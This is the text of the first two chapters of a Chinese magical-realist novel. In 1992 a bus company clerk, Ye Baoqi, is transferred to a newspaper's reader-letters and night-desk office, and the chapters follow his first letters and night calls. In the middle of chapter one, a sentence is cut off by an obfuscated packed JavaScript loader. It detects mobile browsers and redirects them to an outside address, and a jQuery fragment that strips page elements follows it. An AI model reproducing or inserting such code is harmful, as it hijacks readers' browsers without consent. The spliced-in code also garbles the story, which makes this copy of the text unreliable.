《葵花灯下》 1. 第001章 雨夜调令 雨是从渤海湾深处爬上岸的。起初只是天边一抹灰影，转眼间就长成了千万条透明的爬行动物，沿着街道、屋顶、电线杆蜿蜒而下，把整座内海市舔得湿漉漉、滑腻腻。法桐叶子被拍在柏油路上，叶脉在积水里清晰可见，像被拓印在大地上的青色掌纹。 叶葆启推开公交公司宣传科那扇门时，裤腿吸饱了雨水，沉甸甸地坠着，每一步都能听见水在纤维间挤动的细微声响。伞靠在墙角，雨水顺着伞骨滴落，在地面水泥的裂缝处聚成小小的水洼——那裂缝的形状竟有些像中国地图的轮廓，他想，随即又觉得这联想荒唐。 老陈的脸从报纸后面浮出来，像从深水里缓慢升起的旧日面具。报纸油墨的味道混着他身上陈年的烟草气，在潮湿空气里发酵成一种独特的醇厚，闻着让人想起图书馆地下室那些无人问津的县志。 “葆启啊，”老陈摘下老花镜，镜腿划过耳际的声音在寂静中格外清晰，“淋着了吧？” 叶葆启从帆布包里掏出牛皮纸袋时，手指触到袋角一处柔软——那里被雨水泡化了，指尖能感觉到纸浆正在重新变回树木纤维的触感。“上个月的简报。”他说，声音在雨声里显得单薄。 老陈没有接。他的目光越过叶葆启，看向窗外淋漓的雨幕，仿佛能在那些垂直下坠的水线里读出什么命运的密文。 “你今年三十八了吧？”老陈突然问。 “三十九，下个月满。”叶葆启听见自己的心跳，咚咚，咚咚，像有什么在胸腔里敲门。 “在咱们这儿……多少年了？” “十八年。”他报出这个数字时，舌尖尝到一丝铁锈味，仿佛时间本身是有味道的，“七六年招工进来的，先卖票，后来您把我调来宣传科。” “十八年……”老陈吐出一口气，那气息在空气里凝成白雾，缓缓上升，在日光灯管周围缠绕成奇怪的光晕。他拉开抽屉——抽屉滑轨发出生锈的呻吟——取出一个牛皮纸信封，平推到桌沿，停在将掉未掉的位置。 叶葆启看着那个信封。很薄，薄得像一片风干的蝉翼，透过纸背能隐约看见里面钢笔字洇开的蓝黑色影子。他知道里面是什么。三年前，车队老王收到类似信封的那个下午，天空也是这么灰，雨也是这么下，老王打开信封后，整个人突然缩小了一圈——不是比喻，叶葆启记得清清楚楚，老王那天下午真的比早晨矮了两公分。 “《内海都市报》缺人。”老陈的声音从很远的地方飘来，“市委宣传部从各企业调笔杆子。班子研究，推荐你去。” 叶葆启伸出手。指尖触到信封的瞬间，纸张突然变得滚烫，烫得他几乎缩手。他强忍着抽出来——一张纸，红头文件，两个公章鲜红如血，还在微微搏动，像两颗刚刚摘下的心脏。他的名字“叶葆启”三个字是钢笔填上去的，墨迹在纸张纹理间漫漶开来，边缘长出细小的毛刺，仿佛那三个字正试图从纸上挣脱。 “报社？”他的声音发飘，“我这样的……” “你写的《8路司机回师傅的十五年》，晚报不是转载了？”老陈的声音有了温度，“还给你寄了十五块钱稿费。你记得不，老回用那钱请全车队吃包子，热气腾腾的，吃得大家伙儿满嘴流油，老回笑出一脸褶子，像朵开败的菊花。” 叶葆启想起来了。那天包子蒸笼揭开时，白雾冲天而起，在食堂屋顶盘旋不散，凝成一片小小的云。那云直到傍晚还在，被夕阳染成金黄色，老回仰头看着说：“葆启啊，你写的字变成云彩了。” “群工部是干什么的？”他问，眼睛还盯着那张调令。纸上的红章此刻安静下来，颜色暗了些，像冷却的火山口。 “管读者来信来访，也跑新闻。”老陈起身，走到窗边。雨水在玻璃上蜿蜒爬行，画出谁也看不懂的符咒。“白天叫接待室，晚上七点到早晨七点，是夜间记者站。葆启啊，这工作有意思——你会听见这座城市在夜里说什么梦话，会看见它卸了妆后是什么模样。” 叶葆启把调令叠好。对折，再对折，折成一个四四方方的小块，刚好能握在掌心。纸张在他手里微微发烫，像一个活着的小动物。 “我得回家跟素琴商量。”他说。 “素琴肯定支持。”老陈背对着他，声音混在雨声里，“她街道办调解的那些事儿，桩桩件件都是人间的戏文。她懂。” 叶葆启点点头，把烟摁灭在搪瓷烟灰缸里。烟头滋啦一声，爆出一小簇火星，在灰烬里短暂地亮了一下，旋即熄灭。起身时，他感觉到膝盖骨深处传来细碎的咔嚓声，像冻土在春日里开裂——那是十八年久坐落下的毛病，每逢雨天就发作。 走出门，雨还在下。他撑开伞，黑色的布面在雨点击打下微微凹陷，像一只巨大的、倒扣的耳朵，在聆听天空的诉说。调令揣在胸口内兜，紧贴着皮肤，纸张随着心跳轻微起伏，一下，一下，像第二颗心脏。 经过公交总站时，他停下脚步。车场上停着几十辆公交车，红的、蓝的、黄的，在雨幕中静静站立，水珠顺着车身曲线滑落。3路车的张师傅总在方向盘旁挂个平安符，符上的朱砂遇水会晕开，把整个驾驶座染成淡红色；7路车的李大姐爱唱评剧，她的歌声渗进座椅海绵，夜里无人时，那些座椅会发出细微的哼唱；11路车的老赵，儿子去年考上了大学，他在车厢贴了张中国地图，每开一站，就在地图上扎一个小孔…… 明天不用来这儿了。 这个念头像一把生锈的钥匙，突然捅开了记忆的某扇暗门。他听见二十三岁那年自己第一次上车的喊声：“上车请买票，月票请出示！”那声音年轻、清亮，此刻在雨中回荡，从时间的深处传来，像隔着一层厚厚的毛玻璃。还有那个总给他带鸡蛋的老太太，她的小手绢上绣着歪歪扭扭的荷花，每次递鸡蛋时，她的手都在抖——现在想来，那不是因为老，而是因为帕金森病。去年听说她去世了，死在去水上公园的路上，手里还攥着给孙子的煮鸡蛋。 叶葆启加快脚步，拐进平安胡同。胡同里的积水没过了脚踝，水面上漂着烂菜叶、烟盒、用过的避孕套、一只塑料凉鞋。积水倒映着灰蒙蒙的天空，倒影里，云在缓慢地变形，一会儿像马，一会儿像船，一会儿像一张哭泣的人脸。他踩着水往前走，每一步都踏碎一片天空。 他家在胡同最里头。推开门时，屋里的景象让他愣了一秒——妻子素琴正在摘韭菜，但那些韭菜在她手中发出莹莹的绿光，每一根都通透如翡翠，叶脉里流淌着液态的光。五岁的儿子小舟趴在桌上画画，铅笔在纸上沙沙作响，画出来的线条竟从纸上浮起，在空气中扭动，像透明的蚯蚓。 “回来了？”素琴抬头，手里的韭菜恢复正常，变回普通的、沾着泥土的蔬菜。 叶葆启眨眨眼，幻觉消失了。他把那个滚烫的信封递过去。 素琴在围裙上擦手——围裙是蓝底白花的，洗得发白，那些白色的小花在无数次搓洗中几乎褪尽，只剩下淡淡的印痕，像记忆里模糊的旧事。她接过信封，指尖在“调令”两个字上停留。她不识字太多，但认得这两个字，在街道办调解离婚协议、房产纠纷、赡养官司时，这两个字总是出现在最关键的文件上。 她抽出纸，看了很久。雨声在窗外敲打着节奏，嘀嗒，嘀嗒，像在给她的阅读计时。终于，她抬起头，眼睛里有什么东西在燃烧——不是比喻，叶葆启真切地看见她瞳孔深处跃动着两小簇蓝色的火苗。 “报社？”她的声音很轻，轻得像怕惊扰什么，“你要去报社了？” “嗯。下周一报到。” 素琴手里的韭菜掉进盆里，溅起几滴水珠。那些水珠在空中缓缓上升，悬浮了片刻，才落回盆中，发出清脆的叮咚声。她抓住叶葆启的胳膊，抓得很紧，指甲透过布料嵌进皮肤，留下五个半月形的白印——那些白印很久才慢慢泛红。 “好啊！”她说，声音开始发抖，“葆启，这是好事！天大的好事！” 小舟抬起头，铅笔还咬在嘴里。铅笔芯在牙齿间留下黑色的痕迹，像一个小小的刺青。“爸爸要去哪儿？” “去报社，当记者。”素琴的声音抖得更厉害了，那两簇火苗在她眼中跃动，映得整个脸庞发亮，“写文章，登在报纸上，全市人都能看见。” 小舟眨眨眼，吐掉铅笔：“像《小灵通漫游未来》那样？” “比那个还好。”叶葆启摸摸儿子的头。孩子的头发柔软，在指尖的触感像新生的蚕丝，还带着阳光晒过的暖意，“小灵通漫游的是未来，爸爸要写的是现在。” 那晚他们吃了韭菜盒子。素琴多放了个鸡蛋，打蛋时，蛋黄落在碗里，圆润饱满，在灯光下像一个小小的太阳。面皮在铁锅里煎得滋滋作响，油烟升腾，在天花板上凝结成一层薄薄的、闪着油光的云。叶葆启吃得很慢，咀嚼时能听见韭菜纤维断裂的细微声响，清脆，密集，像远方的雨声。 饭后，他找出那本塑料皮笔记本。塑料皮已经发黄变脆，边缘卷曲，摸着像干燥的蝉翼。翻到最后一页，蓝色的圆珠笔字迹记录着他发表过的每一篇文章：标题、日期、稿费数额。字迹工整，每个数字都写得一丝不苟，像在供奉什么神圣的账目。最多的一笔就是《8路司机回师傅的十五年》，十五块。那天老回请客，包子热气把食堂窗户都蒙白了，大家在白雾里吃着，笑着，老回的脸在蒸汽中若隐若现，像一尊正在融化的蜡像。 他在新的一页写下：“1992年10月12日，调往《内海都市报》群工部。”笔尖在纸上顿了顿，墨水聚成一个小小的圆点，那圆点慢慢洇开，边缘长出细密的绒毛，像一颗黑色的种子。他又加了一句：“新的开始。”写完这四个字，笔尖突然一轻，仿佛卸下了什么重负。 躺下时已经十一点。雨停了，月亮从云缝中钻出来，月光透过窗户，在墙上投下窗棂的影子。那些影子不是静止的——它们在缓慢地移动、变形，一会儿像栅栏，一会儿像牢笼，一会儿又散开，变成一片晃动的光斑。素琴背对着他，肩膀轻轻抽动。叶葆启知道她在哭，但他听见的哭声很奇怪，不是呜咽，而是像瓷器碎裂的细微声响，清脆，连续，叮叮当当。 “哭什么？”他轻声问。 “高兴。”素琴转过身，脸上果然没有泪痕，只有眼角闪着细碎的光，像撒了一层碾碎的玻璃粉，“葆启，你有本事，不该在公交公司窝一辈子。去了报社，好好干。” “我脾气直，怕得罪人。” “那就得罪。”素琴握住他的手。她的手心很暖，暖意顺着手臂往上蔓延，一直传到心口，把那里的一小片寒冷融化，“写文章的人，骨头不硬写不出好东西。你记着，咱们不害人，不怕事。该写的就写，该说的就说。要是写出来的字能在纸上站起来，走出去，那才叫真本事。” 叶葆启嗯了一声。窗外传来猫叫声，悠长，凄厉，一声接一声，像在呼唤什么永远等不到的回应。他想起父亲——那个参加过抗美援朝的老兵，转业后在国棉厂当保卫科长。父亲话不多，但常说：“做人要正，做事要实。”说这话时，父亲总是望着远方，目光穿过工厂的围墙、穿过城市的屋顶、穿过时间的帷幕，看向某个叶葆启永远看不见的地方。父亲去世那年，他十九岁，攥着父亲冰凉的手，那只手曾经握过枪，握过锄头，最后握成了永恒的僵硬。在最后的时刻，父亲的手突然动了一下，食指在他掌心划了三道——后来他才明白，那是一个“川”字，父亲的名字里有个“川”字。 现在机会来了。像石缝里突然长出的蘑菇，潮湿，新鲜，带着泥土和腐殖质的气息，在无人注意的角落里默默撑开菌盖。 周一早晨，叶葆启穿上最好的衣服——一件深蓝色中山装，洗得发白，但熨得笔挺，折痕锋利得能割破手指。素琴给他煮了碗面，卧了两个鸡蛋，蛋黄圆润，蛋白凝实，在清汤里微微晃动，像两枚沉在水底的月亮。“吃饱了，精神。”她说，往面里撒了一小把葱花。葱花在热汤里舒展，散发出辛辣的香气，那香气钻进鼻腔，直冲脑门，让他整个人清醒过来。 《内海都市报》社在解放北路，一栋五层红砖楼。楼有些年头了，红砖表面布满雨痕，像老人脸上的泪沟。砖缝里长着暗绿色的苔藓，那些苔藓在晨光中泛着湿漉漉的光，仿佛整栋楼都在缓慢地呼吸。叶葆启在门口站了两分钟，看着人们进进出出。男的夹着公文包，脚步匆匆，包里的钢笔和钥匙碰撞，发出清脆的金属声；女的穿着各式衣服，裙摆飞扬，高跟鞋敲击地面，哒哒哒，像在给城市的心跳打拍子。他们都带着一股劲儿——那是知道自己在时间洪流中的位置、知道自己该往哪里去的劲儿。 他深吸一口气，走进去。门厅里弥漫着油墨和纸张的味道，还有淡淡的氨水味——那是印刷机清洗液的气味。这些味道混合在一起，形成一种独特的氛围，厚重，沉稳，像陈年的酒。 门卫是个老大爷，戴着老花镜看报纸。报纸举得很近，几乎贴在鼻尖上，他的眼睛在镜片后眯成两条细缝，瞳孔里倒映着密密麻麻的铅字。“找谁？”他的声音沙哑，像砂纸摩擦木头。 “报到。群工部。” 老大爷从眼镜上方瞅他一眼，目光锐利，仿佛要把他从里到外透视一遍。“三楼，右拐最里头。”他顿了顿，又补充一句，“那层楼的木地板会说话，走路轻点，别吵醒它们。” 楼梯是木头的，踩上去咚咚响。叶葆启放轻脚步，但木板还是在他脚下发出呻吟——不是痛苦的呻吟，而是那种慵懒的、刚刚醒来的哼哼声。三楼走廊很长，两边都是办公室，门开着，能看见伏案写字的人，听见打字机的哒哒声。那声音密集而坚定，像无数只勤劳的昆虫在啃食时间的树叶。空气里的烟味更浓了，不是“大前门”，是更好的烟，那种烟味里带着思考的气息，辛辣中有一丝回甘。 群工部的门牌是块小木牌，毛笔字写得苍劲有力，墨迹深深吃进木头纹理里，像刻上去的。他敲了敲门。 “进。” 推开门，屋里六张桌子，坐了五个人。一个五十多岁的男人从靠窗的桌子后站起来，中等个子，头发花白，但梳得一丝不苟，每一根都服服帖帖地待在它该在的位置。他戴一副黑框眼镜，镜片很厚，透过镜片看他的眼睛，会发现那眼睛比实际尺寸大了一圈，像两汪深潭。 “你是叶葆启？” “是。” “我是陈秉烛，群工部主任。”男人伸出手，“欢迎。” 手很有力，握上去时能感觉到对方掌心的硬茧——那不是干粗活留下的茧，而是常年握笔磨出的茧，位置在食指第一节和中指侧边，形状规则，像两枚小小的勋章。叶葆启自己的手上也有，但没这么厚实。 陈秉烛向其他人介绍：“新同事叶葆启，从公交公司调来的。葆启，这位是解平生，这位是孙荣显，这位是赵宛芳，这位是曹东方。” 大家都点头致意。解平生四十多岁，国字脸，肩膀宽阔，坐在那里像一尊石狮子，沉稳，厚重。孙荣显三十出头，文质彬彬，鼻梁上架着金丝眼镜，镜片后的眼睛很亮，看人时微微眯起，像在调焦距。赵宛芳和曹东方都是二十多岁的小伙子，脸上还带着刚出校门的稚气，但眼睛里已经有一种锐利的光——那是猎食者发现目标时的光。 “你的桌子在那儿。”陈秉烛指指靠门的一张空桌。桌子很旧，桌面上有深深浅浅的划痕，那些划痕交织成复杂的图案，像地图，又像星图。桌面中央有一块颜色特别深的区域，是常年伏案写字时手臂压出来的，那区域的木头纹理已经模糊，摸上去光滑如镜。“先熟悉熟悉。咱们群工部管读者来信来访，也负责突发新闻。白天叫接待室，晚上七点到第二天早晨七点，是夜间记者站，两人一组值班。” 叶葆启走到桌前。桌子上有个绿色台灯，灯罩是荷叶形的，边缘已经破损，露出里面的铁丝骨架；一个笔筒，陶制的，表面有冰裂纹，插着几支钢笔和铅笔，笔尖朝上，像等待发射的箭；一沓稿纸，纸边微微发黄，但切割整齐，码放得一丝不苟。他坐下，椅子吱呀一声，那声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904153|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音在安静的办公室里格外清晰，像一声悠长的叹息。 陈秉烛递过来一摞信：“今天你先看看读者来信。重要的挑出来，需要回复的拟个草稿。” 信很多，牛皮纸信封，大小不一，厚薄不均。叶葆启拆开第一封，是个退休屈星群工人写的，反映楼下饭馆油烟太大，“熏得我家窗台上的月季花都蔫了，花瓣一碰就掉，像得了痨病”。第二封是个叫屈超中学生，说学校乱收费，“班主任说这是自愿，可谁敢不自愿？不自愿的下周座位调到最后一排，黑板上的字都看不清”。第三封是个叫邢素英的老太太，儿子不孝顺，“三年没来看我了，我腿脚不好，想去看看他，走到半路摔了一跤，现在还在床上躺着。我不怪他，他忙，就是夜里做梦，总梦见他小时候，趴在我膝盖上，让我给他掏耳朵”…… 他一封封看下去。这些信来自内海市的各个角落，信封上的邮戳形状各异，墨色深浅不一。有的信纸是单位信笺，印着红头；有的是作业本上撕下来的，还带着横线；有的是挂历背面，翻过来能看到去年的月份和星期。字迹也千差万别：有工整的楷书，有潦草的草书，有歪歪扭扭像醉汉走路的，还有用左手写的——那些字全部反向，得对着镜子才能读。油渍麻花的信纸上，是一个个具体的人生，是这座城市的毛细血管里流动的真实的血，温的，咸的，带着铁锈味。 中午，解平生拍拍他肩膀。那只手很大，拍在肩上沉甸甸的，像盖了个章。“走，吃饭去。” 食堂在一楼。打饭的队伍排得很长，弯弯曲曲，像一条慢慢蠕动的巨蟒。解平生边走边给他介绍：“咱们报社伙食不错，尤其包子，比那天津狗不理的不差——这话你可别外传，让天津人听见了得跟咱急。” 轮到他们时，叶葆启要了俩包子，一碗稀饭。解平生则要了四个包子，外加一份红烧肉，肉块油亮亮的，在搪瓷盘里颤巍巍地晃动，表面那层酱汁在灯光下泛着琥珀色的光。“我得吃得多，晚上要值班。” “值班很累？”叶葆启问。 “累，但有意思。”解平生咬了口包子，汤汁顺着嘴角流下来，他赶紧用手背擦掉，手背上留下一道油亮的痕迹，“夜里来的都是急事、怪事。喝醉的、丢孩子的、夫妻打架的、见了鬼的……啥都有。上个月还有人来说他家母鸡下了个带字的蛋，非让咱们去看看。我去了，蛋壳上真有几个模糊的痕迹，像字又不像字。老太太说那是‘天下太平’，我说那是鸡爪子踩的泥印子。” 孙荣显也端着饭过来坐下，他的盘子里是青菜和豆腐，很清淡。“葆启，听说你在公交公司写过不少东西？” “都是内部简报，上不了台面。” “别谦虚。陈主任说看过你写的《8路司机回师傅的十五年》，写得实在，有温度。”孙荣显用筷子轻轻戳着豆腐，豆腐颤动着，但保持完整，“写东西啊，最难的就是有温度。冷冰冰的文字谁不会写？把人心写热了，那才叫本事。” 叶葆启心里一暖。那感觉很奇怪，像胸腔里突然点亮了一盏小灯，暖黄色的光透过肋骨缝隙漏出来，把周围一小片空气都烤暖了。被人记得作品，是写东西的人最开心的事，像农人看见自己种的庄稼被人夸赞长得好，那种喜悦是扎根在泥土里的，踏实，厚重。 下午，陈秉烛叫他过去：“葆启，晚上你跟我值夜班。熟悉熟悉夜间记者站的工作。” “好。” “夜里冷，多穿点。咱们这儿没暖气，只有个煤炉子。”陈秉烛从抽屉里拿出个厚厚的笔记本，深蓝色封面，边角已经磨白，露出里面的纸板层。他把本子递给叶葆启，“这是值班记录本，每个来电来访都要记。重要的马上处理，该联系哪个部门就联系哪个部门。记着，咱们是记者，不是接线员——每一条线索背后，都可能藏着故事，有的故事能写一篇通讯，有的能写一部小说。” 叶葆启接过本子。很重，比看上去重得多，像里面压着无数个未说完的夜晚。他翻开，第一页写着：“1992年1月15日，夜。来电37个，来访5人……”字迹各异，有的工整如印刷体，有的潦草如疾风中的草书，还有的用的是左手反写——那是解平生的字，他说这样能锻炼右脑。记录的事情五花八门：海东区暖气不热，老人冻得睡不着，数了一夜天花板上的裂缝，一共287条；海西区路灯坏了，已经摔了三个人，第一个摔掉了门牙，第二个摔破了头，第三个摔断了腿；有个叫张学明的要跳楼，现在还在劝，那人在楼顶唱歌，唱的是《莫斯科郊外的晚上》，跑调跑得厉害；老太太猫丢了，那是她儿子商亮生前留给她的，猫叫“毛毛”，尾巴尖有一撮白毛…… “这些都是新闻线索。”陈秉烛说，手指在记录本上轻轻敲了敲，指甲敲击纸面发出笃笃的声响，像敲门声，“有的能写成消息，有的要深入调查。记者嘛，眼睛要尖，耳朵要灵，心要热。心不热，写出来的东西就是凉的，没人爱看。但心太热，又容易烧着自己——这个度，你得慢慢琢磨。” 叶葆启点头。他突然觉得，这个工作比写简报有意思得多。简报是总结成绩，是给过去描眉画眼，涂脂抹粉；这里却是直面问题，是给现在把脉问诊，听城市的肺腑之音，甚至要给未来开药方——虽然那药方未必有人照抓。 傍晚六点半，白班的人陆续走了。办公室渐渐空下来，日光灯发出轻微的嗡嗡声，那声音在寂静中放大，像远方传来的蜂群。陈秉烛拎来一壶开水，往两个搪瓷杯里各捏了把茶叶。茶叶是茉莉花茶，干枯的叶片在热水里缓缓舒展，渐渐恢复生机，在水中上下沉浮，像一群重获自由的小鱼。茉莉花的香气随着蒸汽升腾，在空气里弥漫开来，清新，微甜，冲淡了油墨和烟草的味道。 “晚上喝茶提神。葆启，你抽烟吗？” “抽。大前门。” 陈秉烛从兜里掏出盒“恒大”，比大前门贵，烟盒是深蓝色的，上面印着金色的字，在灯光下闪闪发亮。“抽我的。夜里长，好烟顶时候。” 叶葆启接过烟。点上，第一口吸进去，烟雾在肺里转了一圈，再缓缓吐出来。烟雾在灯光下袅袅升起，盘旋，扭曲，变幻出各种形状——一会儿像马，一会儿像船，一会儿像一张哭泣的人脸，最后散开，融进办公室的空气里，成为这夜晚的一部分。 窗外，内海市华灯初上。解放北路上车流如织，红色的尾灯连成一条流动的河，那河水缓缓流淌，从城市的心脏流向外围，再流回心脏，周而复始。霓虹灯次第亮起，广告牌上的彩灯闪烁着，变换着颜色和图案。而在五层红砖楼的小房间里，煤炉刚刚生起，炉膛里的煤块开始发红，散发出干燥的热气。一场关于这座城市的夜间叙事，刚刚拉开帷幕。 他不知道，这个雨夜调令开启的，将是一段持续二十三年的传奇。他会在这里见证内海市的变迁，记录普通人的悲欢，也会在未来的某个夜晚，在罗布泊的星空下思考生命的意义——那些都是后话了。此刻，在时间河流的这一小段截面上，他只是一个三十九岁的新记者，坐在旧桌子前，翻开值班本新的一页，准备记下第一个夜班的第一通电话。 钢笔握在手里，沉甸甸的。他拧开笔帽，笔尖在灯光下闪着寒光。笔尖触到纸面，停顿，然后开始移动： “1992年10月19日，夜。19:03，中心区居民单力鹏来电，反映楼下烧烤摊噪音扰民至凌晨，多次反映未果。已联系中心区城管值班室，承诺今晚处理。” 笔尖在纸上沙沙作响，那声音细密，绵长，像春蚕食叶，也像细雨润土，更像这座城市夜晚的心跳——微弱，但持续，一声一声，敲打着时间的鼓面。 新的生活开始了。在雨夜里发芽，在油墨中生长，在一张张稿纸上蔓延成一片文字的森林。而他，叶葆启，刚刚走进这片森林的边缘，手里只有一支笔，和一腔尚未冷却的热血。窗外的城市继续它的夜晚，车流，灯光，人声，渐渐远去，只剩下这个房间，这一盏灯，这一支笔，和这永不停息的、沙沙的书写声。 2. 第002章 第一个夜班 电话撂下后，陈秉烛用火钳子夹起块蜂窝煤，那煤块沉甸甸、黑黢黢的，像一块压缩了的漫漫长夜。蓝幽幽的火苗子从煤眼的孔洞里猛地探出头，贪婪地舔着黑铁皮的炉壁，发出细微的咝咝声，仿佛在咀嚼着这北方的寒气。 “记全乎了？”陈秉烛的声音像被炉火烤过，带着粗粝的暖意。 “全乎了。”叶葆启把本子推过去。纸页上，墨迹还未干透。 陈秉烛扫了几眼，下颌的线条在昏黄灯光里松动了些：“不赖。时辰、人物、疙瘩、解扣的法子。老百姓的事儿，顶要紧的是‘有响动’。就算搬不动山，也得让人听见你使了劲，吭哧了，喘气了。” 叶葆启摸出烟，递过去一支。两人就着炉火点着了，烟雾升起来，并不散去，倒像两条有了年岁的魂，在光线里慢悠悠地绞缠、厮磨，最后融进那被经年烟油子腌透了的空气里。 “陈主任，”叶葆启望着那纠缠的烟，“咱这夜里听声儿的摊子，一年得收进多少动静？” “去年，”陈秉烛眯着眼，烟灰弹进炉口，噗地溅起一小簇星火，“一万两千多个。摊到每个晚上，三十几个跑不了。节庆时多，刮风下雨时多，三伏天比数九天多——人心里窝着火，太阳底下一晒，夜里就得找窟窿眼往外冒。” 话音像刚落进灰里的烟蒂，那电话铃声又猛地炸开了。这回是个女声，尖利得能刮破耳膜，又带着股豁出去的凄惶：“你们管不管？楼上那家，天天半夜剁魂儿呢！咚！咚！咚！我这心都要从腔子里蹦出来了！” 叶葆启笔下沙沙响：22:17，鸿运区刘氏，噪音索命。陈秉烛问得细，门牌号，几楼，剁了多久，那耐心劲儿像在解一团乱麻。末了说：“刘大姐，这声响归穿警服的管。我给您个号码，您直接叨咕，就说是夜间记者站递过去的话头，他们掂量着。” 挂了，陈秉烛搓了搓脸，脸上映着炉火的红光：“这种事儿，咱就是个传话的筒子。可筒子也得是通的，不能这边进了，那边堵死，让话烂在肚子里。” 叶葆启在本子上写：“转派出所。”笔尖顿了顿，在旁边画了个小小的五角星，像给自己心里摁了个钉。 近子夜时，电话稀了。陈秉烛捅开两碗“华丰”三鲜伊面，滚水冲下去，那股子霸道的人造鲜香猛地膨胀开来，几乎要挤走屋里的烟味。 “垫巴点，后半夜怕有客闯门。”陈秉烛递过筷子，竹筷头被磨得光滑。 叶葆启接过，那股熟悉又陌生的气味，却猛地把他拽回了公交公司的夜班房。也是这味儿，可那时面是素琴煮好了，用铝饭盒捂着送来，汤里总卧着个荷包蛋，蛋心还是软的，边上漂着几叶嫩青菜，像池塘里小小的船。 “琢磨家了？”陈秉烛的眼毒，像是能看见人脑子里转的影儿。 “嗯，沾点。”叶葆启咧咧嘴，“以前夜里蹲班，孩儿他娘总送一口热的。” “有根的人了？” “嗯，小子，五岁了，皮得像孙猴子。” “那你是挑着扁担呢，前头小，后头老。”陈秉烛吸溜一口面，声音很响，“吃这碗饭，家就成了客栈。我闺女，今年撞大运（高考），我陪她的工夫，攒一块儿怕不到一个月。” 两人对着头吃面，呼噜声此起彼伏。窗外的城市像一头巨兽，渐渐收拢了爪牙，沉入混沌的睡眠。只有那盏绿罩子台灯还醒着，灯罩边上一圈黄褐的渍，是无数个夜晚的烟魂儿留下的吻痕。 凌晨一点，门被敲响了。不是电话那种急促的电子尖叫，是实实在在的肉指关节叩在木头上的声音，空洞而固执。 陈秉烛起身，门轴发出老人叹气般的吱呀声。进来个年轻女人，约莫二十七八，裹着件挺括的呢子大衣，头发烫成绵密的卷，堆在头上像朵乌云。脸擦得白，白得有些瘆人，嘴唇却涂得极红，仿佛刚吮过血。 “记者同志……在么？”声音飘忽着，像脚不沾地。 “在。您请进。”陈秉烛侧身。 女人坐下，从手提包里摸出盒“摩尔”烟，细长，带过滤嘴。点烟时，手指颤得厉害，火苗几次凑不近烟头。 “我叫刘清。”她吐出一口烟，烟雾笼住她煞白的脸，使她看起来像庙里褪了色的纸偶，“我要告状。海东区，红星饭庄，黑店！一盘炒肝尖，敢要十五块！这不是炒菜，这是割肉！” 叶葆启翻开新的一页。陈秉烛问：“几时去的？几个人？有纸片子（发票）么？” “就今晚，就我自个儿。”刘清的语速快起来，“纸片子？他们不给！我一要，就说机器咽了气，开不了！” 陈秉烛点点头：“这事，秤杆子在物价局手里。明儿您可以去递状子，也能拨那个号，12358。” “不成！”刘清的嗓门陡然拔高，像一根崩断的弦，“你们得现在就去！现时现刻就登报！你们得替小民出声！” 叶葆启抬起眼。女人的眼里烧着两簇奇异的火，亮得骇人，那光不像为了一盘炒肝尖，倒像怀里揣着个快要炸开的秘密。 陈秉烛的脸仍像一块被岁月磨平了的石头：“刘同志，饭庄这辰光早落锁了，我们去也是吃闭门羹。这么着，您留个线头（联系方式），明日天一亮，我们就遣人去盘查，行不？” “不行！！”刘清霍地站起，身子有些晃，“你们不去，我……我就给我姑姑挂电话！让我姑姑跟你们说道！” “您姑姑是？” “我姑姑是赵四小姐！”她挺了挺并不丰满的胸脯，仿佛那名字是副盔甲，“张学良的赵四小姐！她在美利坚，一个电话过去，能让那边的报纸电台都评理！” 叶葆启的笔尖猛地一顿，一滴浓黑的墨水落在纸上，慢慢泅开，像一只突然睁开的、不眠的眼睛。他看向陈秉烛。陈秉烛脸上那古井般的平静，连一丝波纹都没有，只是缓缓点了点头。 “赵四小姐啊，”他的声音像在唠家常，“那您可得仔细说道说道。她老人家，今年仙寿？” “七……七十多了吧。”刘清的眼神开始游移，像找不到落脚点的蛾子。 “那您是她的亲侄女？” “那还有假？我爹是她亲兄弟！”话越说越快，像失控的车轱辘，“我姑姑顶疼我，我要星星不给月亮。这回我来内海访友，饭庄欺我，就是欺我姑姑！欺我们赵家的门楣！” 叶葆启在纸上写：“自称赵四小姐侄女。”笔迹有些虚浮，又添上：“言急色厉，语序纷乱，似有癫狂之兆。” 陈秉烛等她那股劲头泄了些，才不紧不慢地开口：“刘同志，赵四小姐要是晓得您在內海受了屈，心尖儿都得疼。这么着，您把那友人的住处、名号留下，明日我们寻着他，一块儿帮您把这疙瘩解开。” “友人？”刘清愣了一刹，眼里的火苗暗了暗，“哦对，我友人……他住……” 她报了个海西区的地址。陈秉烛记下，又问：“您友人，上下怎么称呼？” “姓崔……崔金龙。”她答得有些迟疑，“在纺织厂，扛活。” “成，记下了。”陈秉烛起身，“夜太深了，我给您喊辆‘跛驴’（三轮车）？” “不消！”刘清一摆手，手在空气里划了道无力的弧，“我自個儿走。你们必须登报，不登，我真给我姑姑挂越洋电话！” 她走了，高跟鞋敲在水泥走廊上，嘚嘚嘚嘚，一声比一声急，一声比一声空，渐渐被浓稠的夜色吞没，仿佛从未出现过。 门关上，叶葆启长长吁出一口气，那气在冷空气里凝成一道白霜。 “假的？”他问，声音有些干。 “十有八九，”陈秉烛坐回炉边，炉火映得他半边脸通红，“赵四小姐要有这般年纪的侄女，她兄弟怕不是老树开花。再者，她话里露的怯，缝儿大得能跑马车。” “那……咱还揽这瓷器活？” “揽。”陈秉烛说得干脆，“饭庄宰客，许是真的。至于她是谁的枝儿谁的蔓儿，不打紧。老百姓递过来话，咱就试着解。真与假，是另一本账。” 叶葆启在记录末尾写下：“允诺日间查访。来者神思恍惚，建议留意其心神安稳。”写罢，他看着那团墨渍，越看越像一只窥视的眼睛。 凌晨两点，来了个醉汉。四十多岁模样，浑身酒臭像是从毛孔里渗出来的，说话舌头打着铁，非说骑车过瓦房街时，被个黑影扇了巴掌，缠着记者去抓那“无影手”。 